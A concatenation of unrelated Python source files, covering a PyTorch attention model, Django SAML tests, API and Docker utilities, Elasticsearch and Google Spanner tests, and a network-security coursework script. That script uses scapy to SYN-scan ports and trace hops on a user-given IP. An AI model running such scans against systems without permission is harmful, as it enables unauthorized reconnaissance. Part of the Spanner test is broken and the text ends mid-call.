torch.Tensor, torch.Tensor]: """One decoding step based on the previous hidden state of the decoder and the previous target token.""" return self.attention_decoder.forward_step(input_tokens=target_token, last_hidden=hidden, encoded_commands=encoder_outputs, commands_lengths=input_lengths, encoded_situations=encoded_situations) def decode_input_batched(self, target_batch: torch.LongTensor, target_lengths: List[int], initial_hidden: torch.Tensor, encoded_commands: torch.Tensor, command_lengths: List[int], encoded_situations: torch.Tensor) -> Tuple[torch.Tensor, torch.Tensor]: """Decode a batch of input sequences.""" initial_hidden = self.attention_decoder.initialize_hidden( self.tanh(self.enc_hidden_to_dec_hidden(initial_hidden))) decoder_output_batched, _, context_situation = self.attention_decoder(input_tokens=target_batch, input_lengths=target_lengths, init_hidden=initial_hidden, encoded_commands=encoded_commands, commands_lengths=command_lengths, encoded_situations=encoded_situations) decoder_output_batched = F.log_softmax(decoder_output_batched, dim=-1) return decoder_output_batched, context_situation def forward(self, # raw inputs commands_input=None, commands_embedding=None, commands_lengths=None, situations_input=None, target_batch=None, target_lengths=None, # intermediate layers command_hidden=None, command_encoder_outputs=None, command_sequence_lengths=None, encoded_situations=None, # recurrent layers lstm_input_tokens_sorted=None, lstm_hidden=None, lstm_projected_keys_textual=None, lstm_commands_lengths=None, lstm_projected_keys_visual=None, # loss loss_target_scores=None, loss_target_batch=None, # auxiliary related hidden states auxiliary_hidden=None, loss_pred_target_auxiliary=None, loss_true_target_auxiliary=None, # others is_best=None, accuracy=None, exact_match=None, cf_auxiliary_task_tag=None, tag="default", ): if tag == "situation_encode": return self.situation_encoder(situations_input) elif tag == "command_input_encode_embedding": return self.encoder( input_batch=commands_input, tag="encode_embedding" ) elif tag == "command_input_encode_no_dict_with_embedding": return self.encoder( input_embeddings=commands_embedding, input_lengths=commands_lengths, tag="forward_with_embedding" ) elif tag == "command_input_encode_no_dict": return self.encoder( input_batch=commands_input, input_lengths=commands_lengths, tag="forward" ) elif tag == "command_input_encode": hidden, encoder_outputs = self.encoder( input_batch=commands_input, input_lengths=commands_lengths, ) return { "command_hidden" : hidden, "command_encoder_outputs" : encoder_outputs["encoder_outputs"], "command_sequence_lengths" : encoder_outputs["sequence_lengths"], } elif tag == "decode_input_preparation": """ The decoding step can be represented as: h_T = f(h_T-1, C) where h_i is the recurring hidden states, and C is the static state representations. In this function, we want to abstract the C. """ # this step cannot be distributed as the init state is shared across GPUs. initial_hidden = self.attention_decoder.initialize_hidden( self.tanh(self.enc_hidden_to_dec_hidden(command_hidden))) """ Renaming. """ input_tokens, input_lengths = target_batch, target_lengths init_hidden = initial_hidden encoded_commands = command_encoder_outputs commands_lengths = command_sequence_lengths """ Reshaping as well as getting the context-guided attention weights. """ # Deprecated. We don't need to sort anymore. # Sort the sequences by length in descending order # batch_size, max_time = input_tokens.size() # input_lengths = torch.tensor(input_lengths, dtype=torch.long, device=device) # input_lengths, perm_idx = torch.sort(input_lengths, descending=True) # input_tokens_sorted = input_tokens.index_select(dim=0, index=perm_idx) # initial_h, initial_c = init_hidden # hidden = (initial_h.index_select(dim=1, index=perm_idx), # initial_c.index_select(dim=1, index=perm_idx)) # encoded_commands = encoded_commands.index_select(dim=1, index=perm_idx) # commands_lengths = torch.tensor(commands_lengths, device=device) # commands_lengths = commands_lengths.index_select(dim=0, index=perm_idx) # encoded_situations = encoded_situations.index_select(dim=0, index=perm_idx) # For efficiency projected_keys_visual = self.visual_attention.key_layer( encoded_situations) # [batch_size, situation_length, dec_hidden_dim] projected_keys_textual = self.textual_attention.key_layer( encoded_commands) # [max_input_length, batch_size, dec_hidden_dim] return { "return_lstm_output":[], "return_attention_weights":[], "hidden":init_hidden, "input_tokens_sorted":input_tokens, "projected_keys_textual":projected_keys_textual, "commands_lengths":commands_lengths, "projected_keys_visual":projected_keys_visual, "seq_lengths":input_lengths, } elif tag == "initialize_hidden": return self.attention_decoder.initialize_hidden( self.tanh(self.enc_hidden_to_dec_hidden(command_hidden))) elif tag == "projected_keys_visual": return self.visual_attention.key_layer( encoded_situations ) # [batch_size, situation_length, dec_hidden_dim] elif tag == "projected_keys_textual": return self.textual_attention.key_layer( command_encoder_outputs ) # [max_input_length, batch_size, dec_hidden_dim] elif tag == "_lstm_step_fxn": return self.attention_decoder.forward_step( lstm_input_tokens_sorted, lstm_hidden, lstm_projected_keys_textual, lstm_commands_lengths, lstm_projected_keys_visual, ) elif tag == "lstm_hidden_init": # encode shape world and command. command_hidden, encoder_outputs = self.encoder( input_batch=commands_input, input_lengths=commands_lengths, ) # this hidden is pre-hidden, not formalized yet. encoded_image = self.situation_encoder(situations_input) # For efficiency projected_keys_visual = self.visual_attention.key_layer( encoded_image) # [batch_size, situation_length, dec_hidden_dim] projected_keys_textual = self.textual_attention.key_layer( encoder_outputs["encoder_outputs"]) # [max_input_length, batch_size, dec_hidden_dim] # intialize the hidden states. initial_hidden = self.attention_decoder.initialize_hidden( self.tanh(self.enc_hidden_to_dec_hidden(command_hidden))) initial_hidden, initial_cell = initial_hidden # further contextualize hidden states. context_command, _ = self.attention_decoder.textual_attention( queries=initial_hidden, projected_keys=projected_keys_textual, values=projected_keys_textual, memory_lengths=encoder_outputs["sequence_lengths"] ) # update hidden states here with conditioned image batch_size, image_num_memory, _ = projected_keys_textual.size() situation_lengths = torch.tensor( [image_num_memory for _ in range(batch_size)] ).long().to(device=commands_input.device) if self.attention_decoder.conditional_attention: queries = torch.cat([initial_hidden, context_command], dim=-1) queries = self.attention_decoder.tanh(self.attention_decoder.queries_to_keys(queries)) else: queries = initial_hidden context_situation, _ = self.attention_decoder.visual_attention( queries=queries, projected_keys=projected_keys_visual, values=projected_keys_visual, memory_lengths=situation_lengths.unsqueeze(dim=-1)) # context : [batch_size, 1, hidden_size] # attention_weights : [batch_size, 1, max_input_length] # get the initial hidden states context_embedding = torch.cat([initial_hidden, context_command, context_situation], dim=-1) hidden_init = self.decoder_hidden_init(context_embedding) return (hidden_init.transpose(0, 1), initial_cell.transpose(0, 1)) elif tag == "_lstm_step_fxn_ib": if lstm_input_tokens_sorted == None: # this code path is reserved for intervention ONLY! curr_hidden, curr_cell = lstm_hidden output = self.attention_decoder.hidden_to_output( curr_hidden.transpose(0, 1) ) # [batch_size, 1, output_size] output = output.squeeze(dim=1) # [batch_size, output_size] return lstm_hidden, output else: # hidden. embedded_input = self.attention_decoder.embedding(lstm_input_tokens_sorted) embedded_input = self.attention_decoder.dropout(embedded_input) embedded_input = embedded_input.unsqueeze(1) # [batch_size, 1, hidden_size] curr_hidden, curr_cell = lstm_hidden _, hidden = self.attention_decoder.lstm_cell( embedded_input, lstm_hidden ) # action. output = self.attention_decoder.hidden_to_output( hidden[0].transpose(0, 1) ) # [batch_size, 1, output_size] output = output.squeeze(dim=1) # [batch_size, output_size] return hidden, output elif tag == "loss": return self.get_loss(loss_target_scores, loss_target_batch) elif tag == "update_state": return self.update_state( is_best=is_best, accuracy=accuracy, exact_match=exact_match, ) elif tag == "get_metrics": return self.get_metrics( loss_target_scores, loss_target_batch ) elif tag == "cf_auxiliary_task": assert cf_auxiliary_task_tag != None assert auxiliary_hidden != None if cf_auxiliary_task_tag == "x": auxiliary_pred = self.target_position_decoder_x(auxiliary_hidden) elif cf_auxiliary_task_tag == "y": auxiliary_pred = self.target_position_decoder_y(auxiliary_hidden) elif cf_auxiliary_task_tag == "size": auxiliary_pred = self.size_decoder(auxiliary_hidden) elif cf_auxiliary_task_tag == "color": auxiliary_pred = self.color_decoder(auxiliary_hidden) elif cf_auxiliary_task_tag == "shape": auxiliary_pred = self.shape_decoder(auxiliary_hidden) else: assert False return auxiliary_pred elif tag == "cf_auxiliary_task_loss": return self.get_cf_auxiliary_loss(loss_pred_target_auxiliary, loss_true_target_auxiliary) elif tag == "cf_auxiliary_task_metrics": return self.get_cf_auxiliary_metrics(loss_pred_target_auxiliary, loss_true_target_auxiliary) else: encoder_output = self.encode_input(commands_input=commands_input, commands_lengths=commands_lengths, situations_input=situations_input) decoder_output, context_situation = self.decode_input_batched( target_batch=target_batch, target_lengths=target_lengths, initial_hidden=encoder_output["hidden_states"], encoded_commands=encoder_output["encoded_commands"]["encoder_outputs"], command_lengths=commands_lengths, encoded_situations=encoder_output["encoded_situations"]) if self.auxiliary_task: target_position_scores = self.auxiliary_task_forward(context_situation) else: target_position_scores = torch.zeros(1), torch.zeros(1) return (decoder_output.transpose(0, 1), # [batch_size, max_target_seq_length, target_vocabulary_size] target_position_scores) def update_state(self, is_best: bool, accuracy=None, exact_match=None) -> {}: self.trained_iterations += 1 if is_best: self.best_exact_match = exact_match self.best_accuracy = accuracy self.best_iteration = self.trained_iterations def load_model(self, device, path_to_checkpoint: str, strict=True) -> dict: checkpoint = torch.load(path_to_checkpoint, map_location=device) self.trained_iterations = checkpoint["iteration"] self.best_iteration = checkpoint["best_iteration"] self.load_state_dict(checkpoint["state_dict"], strict=strict) self.best_exact_match = checkpoint["best_exact_match"] self.best_accuracy = checkpoint["best_accuracy"] return checkpoint["optimizer_state_dict"] def get_current_state(self): return { "iteration": self.trained_iterations, "state_dict": self.state_dict(), "best_iteration": self.best_iteration, "best_accuracy": self.best_accuracy, "best_exact_match": self.best_exact_match } def save_checkpoint(self, file_name: str, is_best: bool, optimizer_state_dict: dict) -> str: """ :param file_name: filename to save checkpoint in. :param is_best: boolean describing whether or not the current state is the best the model has ever been. :param optimizer_state_dict: state of the optimizer. :return: str to path where the model is saved. """ path = os.path.join(self.output_directory, file_name) state = self.get_current_state() state["optimizer_state_dict"] = optimizer_state_dict torch.save(state, path) if is_best: best_path = os.path.join(self.output_directory, 'model_best.pth.tar') shutil.copyfile(path, best_path) return pathtests/testproject/tests.py from django.conf import settings from django.contrib.auth.models import User from django.http import HttpResponseRedirect, HttpResponse from django.test import TestCase class IdpErrorRedirectTests(TestCase): def setUp(self) -> None: super().setUp() u = User.objects.create( username='test', ) u.set_password('') u.save() def test_error(self): """Without a proper setting, this plugin should result in an error""" with self.assertRaises(ValueError): self.client.get( '/test/', ) def test_view(self): """Verify redirect to indicated view (with next)""" saml2_auth = dict(settings.SAML2_AUTH) saml2_auth['IDP_ERROR_REDIRECT_VIEW'] = 'login' with self.settings(SAML2_AUTH=saml2_auth): response = self.client.get( '/test/', ) self.assertIsInstance( response, HttpResponseRedirect, ) self.assertEqual( response.status_code, 302, ) self.assertEqual( '/login/', response.url, ) def test_view_other(self): """The next parameters should only include the path even if we pass a full URL to get.""" saml2_auth = dict(settings.SAML2_AUTH) saml2_auth['IDP_ERROR_REDIRECT_VIEW'] = 'other_login' with self.settings(SAML2_AUTH=saml2_auth): response = self.client.get( 'http://testserver/test/', ) self.assertIsInstance( response, HttpResponseRedirect, ) self.assertEqual( response.status_code, 302, ) self.assertEqual( '/other_login/', response.url, ) def test_next(self): """Verify redirect to indicated view (with next)""" saml2_auth = dict(settings.SAML2_AUTH) saml2_auth['IDP_ERROR_REDIRECT_VIEW'] = 'login' saml2_auth['IDP_ERROR_REDIRECT_NEXT'] = True with self.settings(SAML2_AUTH=saml2_auth): response = self.client.get( '/test/', ) self.assertIsInstance( response, HttpResponseRedirect, ) self.assertEqual( response.status_code, 302, ) self.assertEqual( '/login/?next=/test/', response.url, ) def test_url(self): """The next parameters should only include the path even if we pass a full URL to get.""" new_setting = dict(settings.SAML2_AUTH) new_setting['IDP_ERROR_REDIRECT_URL'] = 'http://example.com' with self.settings(SAML2_AUTH=new_setting): response = self.client.get( 'http://testserver/test/', ) self.assertIsInstance( response, HttpResponseRedirect, ) self.assertEqual( response.status_code, 302, ) self.assertEqual( 'http://example.com', response.url, ) formaloo/customers/batch.py import requests from formaloo import constants, client class CustomerBatch: def __init__(self, customers=[]): self.client = client.Client() self.customers = customers def add_customer(self, customer): self.customers.append(customer) def create(self): headers = self.client.get_headers() body = self.get_body() response = requests.post( constants.V_1_0_CUSTOMER_BATCH_ENDPOINT, headers=headers, data=body ) return response def get_body(self): body = [] for customer in self.customers: body.append( customer.get_body() ) return body # dockerpty: util.py # # Copyright 2014 <> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import termios import struct import fcntl import select import os import re import time def set_pty_size(fd, size): """ Resize the PTY at `fd` to (rows, cols) size. """ rows, cols = size fcntl.ioctl( fd, termios.TIOCSWINSZ, struct.pack('hhhh', rows, cols, 0, 0) ) def wait(fd, timeout=2): """ Wait until data is ready for reading on `fd`. """ return select.select([fd], [], [], timeout)[0] def printable(text): """ Convert text to only printable characters, as a user would see it. """ ansi = re.compile(r'\x1b\[[^Jm]*[Jm]') return ansi.sub('', text).rstrip() def write(fd, data): """ Write `data` to the PTY at `fd`. """ os.write(fd, data) def readchar(fd): """ Read a character from the PTY at `fd`, or nothing if no data to read. """ while True: ready = wait(fd) if len(ready) == 0: return '' else: for s in ready: return os.read(s, 1) def readline(fd): """ Read a line from the PTY at `fd`, or nothing if no data to read. The line includes the line ending. """ output = [] while True: char = readchar(fd) if char: output.append(char) if char == "\n": return ''.join(output) else: return ''.join(output) def read(fd): """ Read all output from the PTY at `fd`, or nothing if no data to read. """ output = [] while True: line = readline(fd) if line: output.append(line) else: return "".join(output) def read_printable(fd): """ Read all output from the PTY at `fd` as a user would see it. Warning: This is not exhaustive; it won't render Vim, for example. """ lines = read(fd).splitlines() return "\n".join([printable(line) for line in lines]).lstrip("\r\n") def exit_code(pid, timeout=5): """ Wait up to `timeout` seconds for `pid` to exit and return its exit code. Returns -1 if the `pid` does not exit. """ start = time.time() while True: _, status = os.waitpid(pid, os.WNOHANG) if os.WIFEXITED(status): return os.WEXITSTATUS(status) else: if (time.time() - start) > timeout: return -1 def container_running(client, container, duration=2): """ Predicate to check if a container continues to run after `duration` secs. """ time.sleep(duration) config = client.inspect_container(container) return config['State']['Running'] Srinivas11789/CS6823--Network-Security ########################################################################################## # # Filename : Srinivas(spg349)-Question3.py # Author : Srinivas # Reference: www.secdev.org/projects/scapy/doc # # Summary: Part1 :Host and Port Identification # This program performs TCP Traceroute - Constructing a TCP SYN Packet to the # Target with TTL 1 and Waiting for a SYN/ACK "OPEN" or RST/ACK "Closed" # condition. It Iterates through all the ports of the Target. # If No Response is received - Trigger Retry with TTL increment # Part2 : Host Only Identification based on the Number of HOPS # # Assumption: Hop Count-> Assuumed to be max 16 - based on limit of most Routing Protocols # Ports -> Queried to all the reserved ports from 1 -> 1024; Can be altered # ########################################################################################### # Import Modules import sys # System Calls Library from scapy.all import * # Scapy Library - Packet Generation and Receiving import re # Re - Regular Expression Library - To Handle Inputs from netaddr import * # Netaddr Library - Performing and Analyzing Subnetting # Obtaining Input from the User i = raw_input("Enter the Ipaddress: ") # Setting the TTL to 1 to start with One Hop ttl = 1 # Open and Close Port Numbers o = 0 c = 0 # Validating the Input IP for the format Ip/Mask ext = re.search("(.*)/(.*)",i) if ext: ip = ext.group(1) mask = ext.group(2) else: print "Enter the correct format of IpAddress and Netmaske : IP/Mask\n" sys.exit() # Using Netaddr Library to Verify the Network and Broadcast address of the subnet ix = IPNetwork(i) if ip.strip() == str(ix.broadcast) or ip.strip() == str(ix.network): print "The IP Entered is broadcast/Network for the subnet ! Exiting !\n" sys.exit() else: print "You have entered IP of network:%s and netmask:%s" % (ix.network,ix.netmask) # TCP Traceroute Start print "Performing TCP Traceroute....PORT and HOST Identification...." print "The Entered IP is %s - Performing TCP Request..." % (ip) done = 0 # Running Loop for Hop Count to be atleast 16 while(True): print "===> Executing with TTL --> %d hops" % (ttl) print "Port\t\tStatus\t\tRoundTripTime\tPacket_Generated\n" # Iterating for all the reserved ports for i in range(1,10): # IP Layer and TCP Layer Construction using SCAPY Library tcp_req = IP(dst = ip,ttl = ttl)/TCP(dport = i,flags = "S") # Scapy Send/Receive Handle tcp_res = sr1(tcp_req, verbose=0,timeout=3) # Checking for TCP Response Else Increasing TTL try: if tcp_res[1]["TCP"]: result = tcp_res[1]["TCP"].flags # Check for the flags to be SA (SYN/ACK) = 18 or RA (SYN/ACK) = 20 if str(result) == "18": stat = "open" o = o + 1 elif str(result) == "20": stat = "closed" c = c + 1 else: stat = "Unknown" # Printing with the Round Trip Time Calculation print "%d\t\t%s\t\t%s %s" % (i,stat,str((tcp_res[1].time-tcp_res[0].time)*1000)[:5],str(tcp_req.summary())) done = 1 # Increasing the TTL and Looping over until the TTL exceeds 16 hops except: try: # Increasing TTL when ICMP response is received if tcp_res.haslayer(ICMP): print "Increasing TTL......." ttl = ttl + 1 done = 0 if ttl > 16: print "\nDone...Reached Maximum Hop of 16 ! Host Not reachable !\n" sys.exit() break # Handle for NULL Type Received - Possible Scapy Bug Based on Reference except: print "NoneType Received !" sys.exit() if done == 1: break # Result Summary print "\nDone...! Stats are Open: %d and Closed: %d\n" % (o,c) # Part2 - Host Only Identification # Get the Host Reahability in number of HOPS print "====> Host Only Identification:\n" tcp2 = IP(dst = ip,ttl = (1,16))/TCP(flags = "S") result = sr(tcp2,verbose=0,timeout=3) print "TTL IPAddress TCP RTT\tPacket\n" # Calculation of Round trip time from the source time and receive time # Used HasLayer to test if a TCP Layer is present in the response for a,b in result[0]: print "%s %s %s %s %s" % (a.ttl,b.src,str(b.haslayer(TCP)),str((b.time - a.time))[:4],str(b.summary())) guillotina_elasticsearch/tests/utils.py from elasticsearch import AsyncElasticsearch from guillotina import app_settings from guillotina import task_vars from guillotina.component import get_utility from guillotina.interfaces import ICatalogUtility from guillotina.tests import utils from guillotina.tests.utils import get_container import asyncio import elasticsearch.exceptions import json import time async def add_content( requester, num_folders=10, num_items=10, base_id="es-", path="/db/guillotina/" ): created = 0 for fidx in range(num_folders): folder_id = f"{base_id}folder{str(fidx)}" resp, status = await requester( "POST", path, data=json.dumps( {"@type": "Folder", "title": "Folder" + str(fidx), "id": folder_id} ), ) created += 1 assert status == 201 path += "/" + folder_id for idx in range(num_items): resp, status = await requester( "POST", path, data=json.dumps({"@type": "Example", "title": "Item" + str(idx)}), ) created += 1 assert status == 201 return created async def setup_txn_on_container(requester, container_id="guillotina"): utils.login() request = utils.get_mocked_request(db=requester.db) task_vars.request.set(request) container = await get_container( requester=requester, container_id=container_id ) # noqa tm = task_vars.tm.get() txn = await tm.begin() return container, request, txn, tm async def run_with_retries(func, requester=None, timeout=10, retry_wait=0.5): start = time.time() exception = None times = 0 from _pytest.outcomes import Failed while (time.time() - start) < timeout: try: times += 1 return await func() except ( AssertionError, KeyError, elasticsearch.exceptions.NotFoundError, elasticsearch.exceptions.TransportError, Failed, ) as ex: exception = ex await asyncio.sleep(retry_wait) if requester is not None: search = get_utility(ICatalogUtility) await search.refresh(index_name="") print(f"failed after trying {times} times") if exception is not None: raise exception # pylint: disable=E0702 else: raise AssertionError("unknown assertion error") async def cleanup_es(es_host, prefix=""): conn = AsyncElasticsearch(**app_settings["elasticsearch"]["connection_settings"]) for alias in (await conn.cat.aliases()).splitlines(): name, index = alias.split()[:2] if name[0] == "." or index[0] == ".": # ignore indexes that start with . continue if name.startswith(prefix): try: await conn.indices.delete_alias(index, name) await conn.indices.delete(index) except ( elasticsearch.exceptions.AuthorizationException, elasticsearch.exceptions.NotFoundError, ): pass for index in (await conn.cat.indices()).splitlines(): _, _, index_name = index.split()[:3] if index_name[0] == ".": # ignore indexes that start with . continue if index_name.startswith(prefix): try: await conn.indices.delete(index_name) except elasticsearch.exceptions.AuthorizationException: pass spanner/tests/system/test_system.py # Copyright 2016 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import datetime import math import operator import os import struct import unittest from google.cloud.proto.spanner.v1.type_pb2 import ARRAY from google.cloud.proto.spanner.v1.type_pb2 import BOOL from google.cloud.proto.spanner.v1.type_pb2 import BYTES from google.cloud.proto.spanner.v1.type_pb2 import DATE from google.cloud.proto.spanner.v1.type_pb2 import FLOAT64 from google.cloud.proto.spanner.v1.type_pb2 import INT64 from google.cloud.proto.spanner.v1.type_pb2 import STRING from google.cloud.proto.spanner.v1.type_pb2 import TIMESTAMP from google.cloud.proto.spanner.v1.type_pb2 import Type from google.cloud._helpers import UTC from google.cloud.exceptions import GrpcRendezvous from google.cloud.spanner._helpers import TimestampWithNanoseconds from google.cloud.spanner.client import Client from google.cloud.spanner.keyset import KeySet from google.cloud.spanner.pool import BurstyPool from test_utils.retry import RetryErrors from test_utils.retry import RetryInstanceState from test_utils.retry import RetryResult from test_utils.system import unique_resource_id from tests._fixtures import DDL_STATEMENTS IS_CIRCLE = os.getenv('CIRCLECI') == 'true' CREATE_INSTANCE = IS_CIRCLE or os.getenv( 'GOOGLE_CLOUD_TESTS_CREATE_SPANNER_INSTANCE') is not None if CREATE_INSTANCE: INSTANCE_ID = 'google-cloud' + unique_resource_id('-') else: INSTANCE_ID = os.environ.get('GOOGLE_CLOUD_TESTS_SPANNER_INSTANCE', 'google-cloud-python-systest') DATABASE_ID = 'test_database' EXISTING_INSTANCES = [] class Config(object): """Run-time configuration to be modified at set-up. This is a mutable stand-in to allow test set-up to modify global state. """ CLIENT = None INSTANCE_CONFIG = None INSTANCE = None def _retry_on_unavailable(exc): """Retry only errors whose status code is 'UNAVAILABLE'.""" from grpc import StatusCode return exc.code() == StatusCode.UNAVAILABLE def _has_all_ddl(database): return len(database.ddl_statements) == len(DDL_STATEMENTS) def _list_instances(): return list(Config.CLIENT.list_instances()) def setUpModule(): Config.CLIENT = Client() retry = RetryErrors(GrpcRendezvous, error_predicate=_retry_on_unavailable) configs = list(retry(Config.CLIENT.list_instance_configs)()) if len(configs) < 1: raise ValueError('List instance configs failed in module set up.') Config.INSTANCE_CONFIG = configs[0] config_name = configs[0].name instances = retry(_list_instances)() EXISTING_INSTANCES[:] = instances if CREATE_INSTANCE: Config.INSTANCE = Config.CLIENT.instance(INSTANCE_ID, config_name) created_op = Config.INSTANCE.create() created_op.result(30) # block until completion else: Config.INSTANCE = Config.CLIENT.instance(INSTANCE_ID) Config.INSTANCE.reload() def tearDownModule(): if CREATE_INSTANCE: Config.INSTANCE.delete() class TestInstanceAdminAPI(unittest.TestCase): def setUp(self): self.instances_to_delete = [] def tearDown(self): for instance in self.instances_to_delete: instance.delete() def test_list_instances(self): instances = list(Config.CLIENT.list_instances()) # We have added one new instance in `setUpModule`. if CREATE_INSTANCE: self.assertEqual(len(instances), len(EXISTING_INSTANCES) + 1) for instance in instances: instance_existence = (instance in EXISTING_INSTANCES or instance == Config.INSTANCE) self.assertTrue(instance_existence) def test_reload_instance(self): # Use same arguments as Config.INSTANCE (created in `setUpModule`) # so we can use reload() on a fresh instance. instance = Config.CLIENT.instance( INSTANCE_ID, Config.INSTANCE_CONFIG.name) # Make sure metadata unset before reloading. instance.display_name = None instance.reload() self.assertEqual(instance.display_name, Config.INSTANCE.display_name) @unittest.skipUnless(CREATE_INSTANCE, 'Skipping instance creation') def test_create_instance(self): ALT_INSTANCE_ID = 'new' + unique_resource_id('-') instance = Config.CLIENT.instance( ALT_INSTANCE_ID, Config.INSTANCE_CONFIG.name) operation = instance.create() # Make sure this instance gets deleted after the test case. self.instances_to_delete.append(instance) # We want to make sure the operation completes. operation.result(30) # raises on failure / timeout. # Create a new instance instance and make sure it is the same. instance_alt = Config.CLIENT.instance( ALT_INSTANCE_ID, Config.INSTANCE_CONFIG.name) instance_alt.reload() self.assertEqual(instance, instance_alt) self.assertEqual(instance.display_name, instance_alt.display_name) def test_update_instance(self): OLD_DISPLAY_NAME = Config.INSTANCE.display_name NEW_DISPLAY_NAME = 'Foo Bar Baz' Config.INSTANCE.display_name = NEW_DISPLAY_NAME operation = Config.INSTANCE.update() # We want to make sure the operation completes. operation.result(30) # raises on failure / timeout. # Create a new instance instance and reload it. instance_alt = Config.CLIENT.instance(INSTANCE_ID, None) self.assertNotEqual(instance_alt.display_name, NEW_DISPLAY_NAME) instance_alt.reload() self.assertEqual(instance_alt.display_name, NEW_DISPLAY_NAME) # Make sure to put the instance back the way it was for the # other test cases. Config.INSTANCE.display_name = OLD_DISPLAY_NAME Config.INSTANCE.update() class _TestData(object): TABLE = 'contacts' COLUMNS = ('contact_id', 'first_name', 'last_name', 'email') ROW_DATA = ( (1, u'Phred', u'Phlyntstone', u''), (2, u'Bharney', u'Rhubble', u''), (3, u'Wylma', u'Phlyntstone', u''), ) ALL = KeySet(all_=True) SQL = 'SELECT * FROM contacts ORDER BY contact_id' def _assert_timestamp(self, value, nano_value): self.assertIsInstance(value, datetime.datetime) self.assertIsNone(value.tzinfo) self.assertIs(nano_value.tzinfo, UTC) self.assertEqual(value.year, nano_value.year) self.assertEqual(value.month, nano_value.month) self.assertEqual(value.day, nano_value.day) self.assertEqual(value.hour, nano_value.hour) self.assertEqual(value.minute, nano_value.minute) self.assertEqual(value.second, nano_value.second) self.assertEqual(value.microsecond, nano_value.microsecond) if isinstance(value, TimestampWithNanoseconds): self.assertEqual(value.nanosecond, nano_value.nanosecond) else: self.assertEqual(value.microsecond * 1000, nano_value.nanosecond) def _check_row_data(self, row_data, expected=None): if expected is None: expected = self.ROW_DATA self.assertEqual(len(row_data), len(expected)) for found, expected in zip(row_data, expected): self.assertEqual(len(found), len(expected)) for found_cell, expected_cell in zip(found, expected): if isinstance(found_cell, TimestampWithNanoseconds): self._assert_timestamp(expected_cell, found_cell) elif isinstance(found_cell, float) and math.isnan(found_cell): self.assertTrue(math.isnan(expected_cell)) else: self.assertEqual(found_cell, expected_cell) class TestDatabaseAPI(unittest.TestCase, _TestData): @classmethod def setUpClass(cls): pool = BurstyPool() cls._db = Config.INSTANCE.database( DATABASE_ID, ddl_statements=DDL_STATEMENTS, pool=pool) cls._db.create() @classmethod def tearDownClass(cls): cls._db.drop() def setUp(self): self.to_delete = [] def tearDown(self): for doomed in self.to_delete: doomed.drop() def test_list_databases(self): # Since `Config.INSTANCE` is newly created in `setUpModule`, the # database created in `setUpClass` here will be the only one. databases = list(Config.INSTANCE.list_databases()) self.assertEqual(databases, [self._db]) def test_create_database(self): pool = BurstyPool() temp_db_id = 'temp-db' # test w/ hyphen temp_db = Config.INSTANCE.database(temp_db_id, pool=pool) operation = temp_db.create() self.to_delete.append(temp_db) # We want to make sure the operation completes. operation.result(30) # raises on failure / timeout. name_attr = operator.attrgetter('name') expected = sorted([temp_db, self._db], key=name_attr) databases = list(Config.INSTANCE.list_databases()) found = sorted(databases, key=name_attr) self.assertEqual(found, expected) def test_update_database_ddl(self): pool = BurstyPool() temp_db_id = 'temp_db' temp_db = Config.INSTANCE.database(temp_db_id, pool=pool) create_op = temp_db.create() self.to_delete.append(temp_db) # We want to make sure the operation completes. create_op.result(90) # raises on failure / timeout. operation = temp_db.update_ddl(DDL_STATEMENTS) # We want to make sure the operation completes. operation.result(90) # raises on failure / timeout. temp_db.reload() self.assertEqual(len(temp_db.ddl_statements), len(DDL_STATEMENTS)) def test_db_batch_insert_then_db_snapshot_read_and_db_read(self): retry = RetryInstanceState(_has_all_ddl) retry(self._db.reload)() with self._db.batch() as batch: batch.delete(self.TABLE, self.ALL) batch.insert(self.TABLE, self.COLUMNS, self.ROW_DATA) with self._db.snapshot(read_timestamp=batch.committed) as snapshot: from_snap = list(snapshot.read(self.TABLE, self.COLUMNS, self.ALL)) self._check_row_data(from_snap) from_db = list(self._db.read(self.TABLE, self.COLUMNS, self.ALL)) self._check_row_data(from_db) def test_db_run_in_transaction_then_db_execute_sql(self): retry = RetryInstanceState(_has_all_ddl) retry(self._db.reload)() with self._db.batch() as batch: batch.delete(self.TABLE, self.ALL) def _unit_of_work(transaction, test): rows = list(transaction.read(test.TABLE, test.COLUMNS, self.ALL)) test.assertEqual(rows, []) transaction.insert_or_update( test.TABLE, test.COLUMNS, test.ROW_DATA) self._db.run_in_transaction(_unit_of_work, test=self) rows = list(self._db.execute_sql(self.SQL)) self._check_row_data(rows) def test_db_run_in_transaction_twice(self): retry = RetryInstanceState(_has_all_ddl) retry(self._db.reload)() with self._db.batch() as batch: batch.delete(self.TABLE, self.ALL) def _unit_of_work(transaction, test): transaction.insert_or_update( test.TABLE, test.COLUMNS, test.ROW_DATA) self._db.run_in_transaction(_unit_of_work, test=self) self._db.run_in_transaction(_unit_of_work, test=self) rows = list(self._db.execute_sql(self.SQL)) self._check_row_data(rows) class TestSessionAPI(unittest.TestCase, _TestData): ALL_TYPES_TABLE = 'all_types' ALL_TYPES_COLUMNS = ( 'list_goes_on', 'are_you_sure', 'raw_data', 'hwhen', 'approx_value', 'eye_d', 'description', 'exactly_hwhen', ) SOME_DATE = datetime.date(2011, 1, 17) SOME_TIME = datetime.datetime(1989, 1, 17, 17, 59, 12, 345612) NANO_TIME = TimestampWithNanoseconds(1995, 8, 31, nanosecond=987654321) OTHER_NAN, = struct.unpack('' % (index,), ] def _set_up_table(self, row_count, db=None): if db is None: db = self._db retry = RetryInstanceState(_has_all_ddl) retry(db.reload)() session = db.session() session.create() self.to_delete.append(session) def _unit_of_work(transaction, test): transaction.delete(test.TABLE, test.ALL) transaction.insert( test.TABLE, test.COLUMNS, test._row_data(row_count)) committed = session.run_in_transaction(_unit_of_work, test=self) return session, committed def test_read_w_manual_consume(self): ROW_COUNT = 4000 session, committed = self._set_up_table(ROW_COUNT) snapshot = session.snapshot(read_timestamp=committed) streamed = snapshot.read(self.TABLE, self.COLUMNS, 